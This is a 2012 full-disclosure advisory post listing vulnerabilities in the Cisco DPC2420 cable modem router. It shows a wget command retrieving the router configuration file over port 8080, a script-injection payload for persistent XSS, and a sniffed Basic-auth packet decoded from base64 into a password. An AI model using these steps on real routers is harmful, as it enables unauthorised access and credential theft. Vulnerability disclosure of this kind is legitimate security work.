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Message-ID: <50C51DF7.6060705@code4life.com.ar> Date: Sun, 09 Dec 2012 20:25:43 -0300 From: "Facundo M. de la Cruz" <fmdlc@...e4life.com.ar> To: full-disclosure@...ts.grok.org.uk Subject: Cisco DPC2420 Multiples Vulnerabilities -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Hello to everyone, I want to report the follow question with Cisco DPC2420 Cablemodem router used by many ISP's around the world. Bests. - --------------------------------------------------------------------- ## ## -> DPC2420 Multiple vulnerabilities ## -> Facundo M. de la Cruz ## -> fmdlc@...e4life.com.ar ## [0x00]> Details Vendor : Cisco Model : DPC2420 type : Cablemodem router. Firmware: D2425-P10-13-v202r12811-110511as-TRO.bin Software: D2425-P10-13-v202r12811-110511as-TRO Website : http://www.cisco.com/web/consumer/support/modem_DPC2420.html [0x01]> Configuration file disclosure Some ISP's (like the Argentinean Telecentro) could make some changes in the router configration via the TCP 8080 port. If the remote config option is enabled and the port is not filter, an attacker can download this file calling the correct URL. For example: $ wget http://foobar:8080/filename.gwc - --2012-12-08 21:24:43-- http://foobar:8080/filename.gwc Connecting to foobar:8080... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [application/octet-stream Content-transfer encoding: binary] [ <=> ] 15,927 50.9K/s in 0.3s 2012-12-08 21:24:43 (50.9 KB/s) - ?filename.gwc? saved [15927] $ head -n 10 filename.gwc CRCVALUE=4144540802; #<<Begin of Configuration File>> Version=1.1; Created Date=2012/12/8; Created Time=21:24:43; Model Number=DPC2420; Serial Number=234905123; User Password=k3gUCBmdwbaviPW5GxMZ8vdgzHjvS3wKfdF2Lhbdwq+S6qn+1fvgs54YB wl0jX2glgaQuXx27Eo3Fg3d5E1N7bk9yR7hDbzGS+y7XY4jJjY5yin5SkqAQp9GJl/sZO4s 4D7TJzy2od43flEwmdIPkyJC74eTOrZhb24ULJz3HV6ci5wn3gMPi0rTyk1c3pzHdiKWMMW suMrYBi5sU9dqs1vhCfC/c2Is1xgU1Kq0Y1Wcn2LdmRFU6+7rjRuN6kjuAQZ3QcF/kiym3S ewYRBbnRNKjMXCDw+M9y4V7Y8S4B63XuEwcq3OPUSLWKaA6yPDN5e5ZNxwJJuxl3irDXCd==; [---OUTPUT OMITTED FOR SPACE REASONS---] [0x02]> - Persistent XSS With a valid user in the router web interface for managment and configuration, a user could insert JavaScript code in this forms and make a XSS, for example add a parental rule called: "'/><script>alert(1</script>. http://192.168.0.1/RgParentalBasic.asp - -> Attachments: http://tty0.code4life.com.ar/CISCO-DPC2420-XSS.png [0x03]> Authtype Basic An attacker making an ARP poisoning attack could get the router loggin credentials due the web interface authentication type is auth-basic. Then the attacker could get the Base64 encoded password and convert it to plain text easily. 20:58:47.879985 IP 172.16.1.242.34464 > 192.168.0.1.http: Flags [P.], seq 0:372, ack 1, win 115 0x0000: 4500 01a8 fdf4 4000 4006 ccaf ac10 01f2 E.....@.@....... 0x0010: c0a8 0001 86a0 0050 e4cf 13e5 76c7 819e .......P....v... 0x0020: 8018 0073 03c2 0000 0101 080a 055f ee19 ...s........._.. 0x0030: 0000 be7e 4745 5420 2f73 6967 6e61 6c2e ...~GET./signal. 0x0040: 6173 7020 4854 5450 2f31 2e31 0d0a 486f asp.HTTP/1.1..Ho 0x0050: 7374 3a20 3139 322e 3136 382e 302e 310d st:.192.168.0.1. 0x0060: 0a55 7365 722d 4167 656e 743a 204d 6f7a .User-Agent:.Moz 0x0070: 696c 6c61 2f35 2e30 2028 5831 313b 204c illa/5.0.(X11;.L 0x0080: 696e 7578 2078 3836 5f36 343b 2072 763a inux.x86_64;.rv: 0x0090: 3136 2e30 2920 4765 636b 6f2f 3230 3130 16.0).Gecko/2010 0x00a0: 3031 3031 2046 6972 6566 6f78 2f31 362e 0101.Firefox/16. 0x00b0: 300d 0a41 6363 6570 743a 2074 6578 742f 0..Accept:.text/ 0x00c0: 6874 6d6c 2c61 7070 6c69 6361 7469 6f6e html,application 0x00d0: 2f78 6874 6d6c 2b78 6d6c 2c61 7070 6c69 /xhtml+xml,appli 0x00e0: 6361 7469 6f6e 2f78 6d6c 3b71 3d30 2e39 cation/xml;q=0.9 0x00f0: 2c2a 2f2a 3b71 3d30 2e38 0d0a 4163 6365 ,*/*;q=0.8..Acce 0x0100: 7074 2d4c 616e 6775 6167 653a 2065 6e2d pt-Language:.en- 0x0110: 5553 2c65 6e3b 713d 302e 350d 0a41 6363 US,en;q=0.5..Acc 0x0120: 6570 742d 456e 636f 6469 6e67 3a20 677a ept-Encoding:.gz 0x0130: 6970 2c20 6465 666c 6174 650d 0a43 6f6e ip,.deflate..Con 0x0140: 6e65 6374 696f 6e3a 206b 6565 702d 616c nection:.keep-al 0x0150: 6976 650d 0a52 6566 6572 6572 3a20 6874 ive..Referer:.ht 0x0160: 7470 3a2f 2f31 3932 2e31 3638 2e30 2e31 tp://192.168.0.1 0x0170: 2f77 6562 7374 6172 2e68 746d 6c0d 0a41 /webstar.html..A 0x0180: 7574 686f 7269 7a61 7469 6f6e 3a20 4261 uthorization:.Ba 0x0190: 7369 6320 4f6b 4d30 626d fa38 3443 a9c0 sic.aWFtYXBhc3N3 0x01a0: 1b4e 1134 640a 054b ZAo==.... - From 0x0180 offset to the end of the packet payload an attacker could get the password encoded with Base64 and simply convert it to plain text: $ echo aWFtYXBhc3N3ZAo== | base64 -d iamapassword - --------------------------------------------------------------------- 1355011796 - -- Facundo M. de la Cruz (tty0) Unix Specialist RHCE (Red Hat Certified Engineer) http://www.codigounix.com.ar/ GPG fingerprint: DF2F 514A 5167 00F5 C753 BF3B D797 C8E1 5726 0789 "Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning." - Rich Cook -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) iQIcBAEBCgAGBQJQxR32AAoJENeXyOFXJgeJvgAQAIvmXCRCqcPTlcYqv4Pjw8Bu NRaYmt2p9q8vGdDZohrgW6OBDooT9BsD945UTgdNBu0TQsIO1CQezuFfy2yVoQ2i rB6ZvIVLuiEH/0sPnUP1GOHrfRZIJ86oBxuU31Z+oLJ7NspHK/tVN5x9VntG5kSw 8/RrP8uvrIKKnC5Ya1wfsKruv8eb85PP2ZA2AM6VMPCUStlOr55pXk8pP+ypuGNT g4NuDc0Xn2EiKJS87DVr4P9m3Mm8Wv4axeJlzNvJS6l3l5qfEEplGJE3iFFoD/v1 Sl36UsQxtPw9RHpWC3mspyFHOjqxysST1ZxdDnKQVXPP0TVmcsWjzqA/1NVJ+JAa 6itnwLf6fkkMCD9EsJhGj/1CU/pigvtxnkdZK8lHsjYJdxAgWRpwaRPy+/PKUBnl 6osYiA3N/2nNhVqYwVw/JZN8vV0NokobWfCeQqCGQO8zXNx1CDjp+L2h4/rtyjqd r3kJDg4x5GicJYfuIsEBtFyFAtU71KI3zcfjZvOq2d1SPbaXJilt6/XyN09eDqUB SGVnzJTOHUZNn3SrDwcKgiNyh3Dtx0TDJM/Ee2JcvlO4nhyQy5yKUKkQjCWLlbfW kEVjuufQY5uP+NUabrKMFWcFbwm8mdQjPK8vV7Ff0QBezuhsMHbk6hGUHwyR78Vb Uc76o8c3d5uf5P2kqYQm =NXdp -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. 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